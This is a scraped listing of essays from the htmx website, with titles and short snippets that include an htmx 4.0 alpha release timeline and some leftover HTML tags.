</> htmx - high power tools for html - Essays

Hypermedia Friendly Model Context Protocol App Architecture

Yes, and...

“Yes”</a></h2> Computer programming is, fundamentally, about two things:</p> Problem-solving using computers</li>

Building Critical Infrastructure with htmx: Network Automation for the Paris 2024 Olympics

The fetch()ening

Timeline</a></h2> As always, software takes as long as it takes.</p> However, our current planned timeline is:</p> An alpha release is available today</em>: htmx@4.0.0-alpha1</code></li> A 4.0.0 release should be available in early-to-mid 2026</li>

Vendoring

Alternatives to htmx

A Real World wasm to htmx Port